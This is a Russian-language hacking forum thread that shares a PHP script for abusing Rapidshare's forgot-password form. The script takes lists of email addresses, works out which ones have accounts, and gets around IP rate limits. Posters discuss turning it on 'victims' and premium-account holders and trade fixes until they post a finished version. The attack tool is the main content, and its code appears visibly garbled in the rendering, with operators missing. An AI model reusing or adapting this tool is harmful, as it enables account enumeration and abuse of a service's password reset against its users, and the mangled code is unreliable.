Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Extracting User/Pass from Rapidshare.com (https://forum.antichat.xyz/showthread.php?t=61106)

Isis 06.02.2008 04:23

Extracting User/Pass from Rapidshare.com
 
Extracting User/Pass from Rapidshare.com


PHP код:

<?php

    session_start
();

    
$browserData = array();
    
$browserData[CURLOPT_USERAGENT]      = "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9";
    
$browserData[CURLOPT_FOLLOWLOCATION] = true;
    
$browserData[CURLOPT_COOKIESESSION]  = true;
    
$browserData[CURLOPT_COOKIEFILE]     = "cookie";
    
$browserData[CURLOPT_COOKIEJAR]      = "cookie";

    function 
curlInit($link,&$browserData,$ssh false)
    {
        
$ch curl_init($link);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER, !$ssh);
        
curl_setopt_array ($ch,$browserData);

        return 
$ch;
    }
    function 
array2postFields($data)
    {
        
$data = (array) $data;

        
$postData "";
        foreach(
$data as $name => $value)
            
$postData .= $name "=" $value "&";
        
$postData substr($postData,0,-1);

        return 
$postData;
    }

    class 
rapidshare
    
{
        function 
__construct(&$browserData)
        {
            
$this->browserData = &$browserData;
            
$this->link "http://rapidshare.com/cgi-bin/forgotpw.cgi";
        }

        function 
requestpassword($username)
        {
            
$ch curlInit($this->link,$this->browserData,false);

            
$data = array("email"=>$username);

            
curl_setopt($chCURLOPT_POSTtrue);
            
curl_setopt($chCURLOPT_POSTFIELDS,array2postFields($data));
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
            
$responseText curl_exec($ch);
            
curl_close($ch);


            return 
$responseText;


        }

        function 
translateResponse($responseText)
        {
            
$responseRegexs = array(
                                        
"noaccounts" => "No accounts found. Please try again",
                                        
"valid"      => "accounts and sent the data to your e-mail address",
                                        
"invalid"    => "E-Mail address invalid!",
                                        
"ipblocked"  => "Too many password requests from your IP-Address! Please try again in one hour"
                                    
);
            foreach(
$responseRegexs as $name => $value)
                if (
preg_match('%' $value '%'$responseText))
                    return 
$name;
            return 
false;
        }
        function 
testUser(&$user)
        {
            
$responseText $this->requestpassword($user["username"]);

            
$response $this->translateResponse($responseText);

            if(
$response == "ipblocked" || !$response)
            {
                echo 
"<div style='margin-bottom:2%;'>IP BLOCKED. Next try in <span id='clock'></span> seconds. Leave the window opened for autorefresh, or change your ip</div>";
                
$waitingTime 3610;
                
$clockScript=
<<<CLOCK
        <script>
        waitingTime = 
$waitingTime;
        function showClock()
        {
            clockHolder = document.getElementById("clock");
            clockHolder.innerHTML = waitingTime--;
        }
        showClock();
        window.setInterval(showClock,1000);

        </script>
CLOCK;
                echo 
$clockScript;

                echo 
"<META HTTP-EQUIV='Refresh' CONTENT='{$waitingTime};URL='>";
                return 
false;
            }
            else
            {
                
$user["response"] = $response;
                return 
true;
            }

        }
    }
?>

<body style="background-color:black;color:white">
<?php

    
if(isset($_GET["reset"]))
        
$_SESSION = array();

    
$users   = &$_SESSION["users"];
    
$info    = &$_SESSION["info"];

    if(!isset(
$users))
    {
        if(!empty(
$_POST["users"]))
        {
                function 
validUsername(&$username)
                {
                    
$username strtolower($username);
                    return 
preg_match('/\A[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\Z/',$username);
                }
                
$users = array();
                
$lines explode("\n",$_POST["users"]);
                foreach(
$lines as $line)
                {
                    if (
get_magic_quotes_gpc())
                        
$line stripslashes($line);

                    
$username trim($line);

                    if(
validUsername($username))
                    {
                        
$users[] = array(
                                            
"username" => $username,
                                            
"response" => false
                                         
);
                    }
                }

                
$info["nUsers"]      = count($users);
                
$info["currentUser"] = 0;

                if(!
$info["nUsers"])
                {
                    
$_POST = array();
                    
$_SESSION = array();
                }
        }

        if(empty(
$_POST["users"]))
        {
            
?>
            <div>Give me some list of emails</div>
            <div>You can freely refresh the window</div>
            <form action="?" method="POST">
            <textarea cols="50" rows="25" name="users" onclick="this.innerHTML='',this.onclick=''">mafia@xeka.ru
billy@microsoft.com</textarea><br>
            <input type="submit" value="submit">
            </form>
            <?php
        
}
    }

    if(isset(
$users))
    {
        
$rapidshare = new rapidshare($browserData);

        
$exec $_GET["exec"];

        if(isset(
$exec))
        {
            for(
$n $info["currentUser"] ; $n $info["nUsers"]; $n++)
            {
                if (
$rapidshare->testUser($users[$n]))
                    
$info["currentUser"]++;
                else
                {
                    break;
                }
            }
        }

        echo 
"Tested: " $info["currentUser"] . " users<br><br>";

        for(
$n $n $info["currentUser"]; $n++)
        {
            
$user $users[$n];
            
printf("Username: %s - ",$user["username"]);

            switch(
$user["response"])
            {
                case 
"invalid":
                {
                    echo 
"doesn't work. invalid";
                    break;
                }
                case 
"noaccounts":
                {
                    echo 
"doesn't work";
                    break;
                }
                case 
"valid":
                {
                    echo 
"<b>just WORKS!</b>";
                    break;
                }
                default:
                {
                    echo 
".unable to test. Contact the author";
                }
            }
            echo 
"<br>";
        }
        echo 
"<div><a href='?exec'>EXEC</a></div>";

    }




?>
<div><a href="?reset">RESET</a></div>
</body>

© underground.com

Ali_MiX 06.02.2008 04:35

ух ты, такого ещё не было.

AnonyHamster 06.02.2008 12:46

Если честно, я в этом полный 0. Этот скрипт заливать на сервер и на него отправлять жертв?

Isis 06.02.2008 13:32

Попробуйте вписать туда мыльники и свое тоже))

Придет что-то типа как мне:

Цитата:

Hello.

You have requested your password. Here is your login data:

==============================
Login: 735663
Password: 1922175
==============================

Check our your premium-zone as well to set up several options for downloading files.

Best regards,
RapidShare AG - Support-Team

Isis 06.02.2008 15:47

Не надо мне в пм писать...
Вставляете список email flресов владельцев премиум акков...
Test, EXEC
Just Works -> Complete

//Мда..мой акк разорвали =\

Ali_MiX 06.02.2008 16:25

Цитата:

Сообщение от Isis
Не надо мне в пм писать...
Вставляете список email flресов владельцев премиум акков...
Test, EXEC
Just Works -> Complete

//Мда..мой акк разорвали =\

ага, не надо было показывать

Хозяин 06.02.2008 17:17

Че-то я не догоняю ... сначала не заводился
Цитата:

Parse error: syntax error, unexpected T_SL in rapid.php on line 82
Завел ...
Список мыл вставляю ... сабмит и:
Цитата:

Tested: 0 users
EXEC
RESET
Жмем экзек:
Цитата:

Fatal error: Call to undefined function curl_init() in rapid.php on line 14

AnonyHamster 06.02.2008 17:23

Дык как же ты завёл расскажи плз)
Цитата:

//Мда..мой акк разорвали =\
Он твой? Я думал ты спец. в паблик выложил

bul.666 06.02.2008 17:29

Цитата:

Fatal error: Call to undefined function curl_init() in rapid.php on line 14
Кривой PHP... Возможно ты не подключил модуль

Хозяин 06.02.2008 17:32

bul.666, стоит курл, и на локалке и на хосте тыкал

Isis 06.02.2008 17:38

Если бы он стоял, не было бы ошибки...

AnonyHamster 06.02.2008 17:43

Так что делать с
Цитата:

unexpected T_SL in rapid.php on line 82

bul.666 06.02.2008 17:55

2AciD_FreaK
В файле php.ini
Найди строку или если её нет то добавь
extension=php_curl.dll

Обрати внимание, чтобы не было точки запятой в начале строки...
Предварительно проверь наличие саамого модуля

Хозяин 06.02.2008 17:56

AnonyHamster

Цитата:

Это
PHP код:

<<<CLOCK 
        
<script
        
waitingTime $waitingTime
        function 
showClock() 
        { 
            
clockHolder document.getElementById("clock"); 
            
clockHolder.innerHTML waitingTime--; 
        } 
        
showClock(); 
        
window.setInterval(showClock,1000); 

        </
script
CLOCK

Замени на это:

PHP код:

'CLOCK 
        <script> 
        waitingTime = $waitingTime; 
        function showClock() 
        { 
            clockHolder = document.getElementById("clock"); 
            clockHolder.innerHTML = waitingTime--; 
        } 
        showClock(); 
        window.setInterval(showClock,1000); 

        </script> 
CLOCK'


bul.666, я знаю как комментируются строки в php.ini ))
Проверил уже и строку и модуль

Isis 06.02.2008 17:56

Тогда замените
PHP код:

$clockScript=
<<<CLOCK
        <script>
        waitingTime = 
$waitingTime;
        function showClock()
        {
            clockHolder = document.getElementById("clock");
            clockHolder.innerHTML = waitingTime--;
        }
        showClock();
        window.setInterval(showClock,1000);

        </script>
CLOCK;
                echo 
$clockScript

На
PHP код:

echo "<script>
        waitingTime = 
$waitingTime;
        function showClock()
        {
            clockHolder = document.getElementById('clock');
            clockHolder.innerHTML = waitingTime--;
        }
        showClock();
        window.setInterval(showClock,1000);

        </script>"



Хозяин 06.02.2008 18:32

Разобрался с курлом, пашет все.

еще один момент:

допишите в начало скрипта:
PHP код:

set_time_limit (0);
ini_set('max_execution_time',0); 

А то вылетит это чудо у вас

-=[AL!EN]=- 06.02.2008 23:56

дайте окончательный код скрипта, штоле...
++

Хозяин 07.02.2008 02:24

PHP код:

<?php 
set_time_limit 
(0);
ini_set('max_execution_time',0);

    
session_start(); 

    
$browserData = array(); 
    
$browserData[CURLOPT_USERAGENT]      = "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
    
$browserData[CURLOPT_FOLLOWLOCATION] = true
    
$browserData[CURLOPT_COOKIESESSION]  = true
    
$browserData[CURLOPT_COOKIEFILE]     = "cookie"
    
$browserData[CURLOPT_COOKIEJAR]      = "cookie"

    function 
curlInit($link,&$browserData,$ssh false
    { 
        
$ch curl_init($link); 
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER, !$ssh); 
        
curl_setopt_array ($ch,$browserData); 

        return 
$ch
    } 
    function 
array2postFields($data
    { 
        
$data = (array) $data

        
$postData ""
        foreach(
$data as $name => $value
            
$postData .= $name "=" $value "&"
        
$postData substr($postData,0,-1); 

        return 
$postData
    } 

    class 
rapidshare 
    

        function 
__construct(&$browserData
        { 
            
$this->browserData = &$browserData
            
$this->link "http://rapidshare.com/cgi-bin/forgotpw.cgi"
        } 

        function 
requestpassword($username
        { 
            
$ch curlInit($this->link,$this->browserData,false); 

            
$data = array("email"=>$username); 

            
curl_setopt($chCURLOPT_POSTtrue); 
            
curl_setopt($chCURLOPT_POSTFIELDS,array2postFields($data)); 
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue); 
            
$responseText curl_exec($ch); 
            
curl_close($ch); 


            return 
$responseText


        } 

        function 
translateResponse($responseText
        { 
            
$responseRegexs = array( 
                                        
"noaccounts" => "No accounts found. Please try again"
                                        
"valid"      => "accounts and sent the data to your e-mail address"
                                        
"invalid"    => "E-Mail address invalid!"
                                        
"ipblocked"  => "Too many password requests from your IP-Address! Please try again in one hour" 
                                    
); 
            foreach(
$responseRegexs as $name => $value
                if (
preg_match('%' $value '%'$responseText)) 
                    return 
$name
            return 
false
        } 
        function 
testUser(&$user
        { 
            
$responseText $this->requestpassword($user["username"]); 

            
$response $this->translateResponse($responseText); 

            if(
$response == "ipblocked" || !$response
            { 
                echo 
"<div style='margin-bottom:2%;'>IP BLOCKED. Next try in <span id='clock'></span> seconds. Leave the window opened for autorefresh, or change your ip</div>"
                
$waitingTime 3610
 echo 
"<script> 
        waitingTime = 
$waitingTime
        function showClock() 
        { 
            clockHolder = document.getElementById('clock'); 
            clockHolder.innerHTML = waitingTime--; 
        } 
        showClock(); 
        window.setInterval(showClock,1000); 

        </script>"


                echo 
"<META HTTP-EQUIV='Refresh' CONTENT='{$waitingTime};URL='>"
                return 
false
            } 
            else 
            { 
                
$user["response"] = $response
                return 
true
            } 

        } 
    } 
?> 

<body style="background-color:black;color:white"> 
<?php 

    
if(isset($_GET["reset"])) 
        
$_SESSION = array(); 

    
$users   = &$_SESSION["users"]; 
    
$info    = &$_SESSION["info"]; 

    if(!isset(
$users)) 
    { 
        if(!empty(
$_POST["users"])) 
        { 
                function 
validUsername(&$username
                { 
                    
$username strtolower($username); 
                    return 
preg_match('/\A[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\Z/',$username); 
                } 
                
$users = array(); 
                
$lines explode("\n",$_POST["users"]); 
                foreach(
$lines as $line
                { 
                    if (
get_magic_quotes_gpc()) 
                        
$line stripslashes($line); 

                    
$username trim($line); 

                    if(
validUsername($username)) 
                    { 
                        
$users[] = array( 
                                            
"username" => $username
                                            
"response" => false 
                                         
); 
                    } 
                } 

                
$info["nUsers"]      = count($users); 
                
$info["currentUser"] = 0

                if(!
$info["nUsers"]) 
                { 
                    
$_POST = array(); 
                    
$_SESSION = array(); 
                } 
        } 

        if(empty(
$_POST["users"])) 
        { 
            
?> 
            <div>Give me some list of emails</div> 
            <div>You can freely refresh the window</div> 
            <form action="?" method="POST"> 
            <textarea cols="50" rows="25" name="users" onclick="this.innerHTML='',this.onclick=''">mafia@xeka.ru 
billy@microsoft.com</textarea><br> 
            <input type="submit" value="submit"> 
            </form> 
            <?php 
        

    } 

    if(isset(
$users)) 
    { 
        
$rapidshare = new rapidshare($browserData); 

        
$exec $_GET["exec"]; 

        if(isset(
$exec)) 
        { 
            for(
$n $info["currentUser"] ; $n $info["nUsers"]; $n++) 
            { 
                if (
$rapidshare->testUser($users[$n])) 
                    
$info["currentUser"]++; 
                else 
                { 
                    break; 
                } 
            } 
        } 

        echo 
"Tested: " $info["currentUser"] . " users<br><br>"

        for(
$n $n $info["currentUser"]; $n++) 
        { 
            
$user $users[$n]; 
            
printf("Username: %s - ",$user["username"]); 

            switch(
$user["response"]) 
            { 
                case 
"invalid"
                { 
                    echo 
"doesn't work. invalid"
                    break; 
                } 
                case 
"noaccounts"
                { 
                    echo 
"doesn't work"
                    break; 
                } 
                case 
"valid"
                { 
                    echo 
"<b>just WORKS!</b>"
                    break; 
                } 
                default: 
                { 
                    echo 
".unable to test. Contact the author"
                } 
            } 
            echo 
"<br>"
        } 
        echo 
"<div><a href='?exec'>EXEC</a></div>"

    } 




?> 
<div><a href="?reset">RESET</a></div> 
</body>



Время: 08:44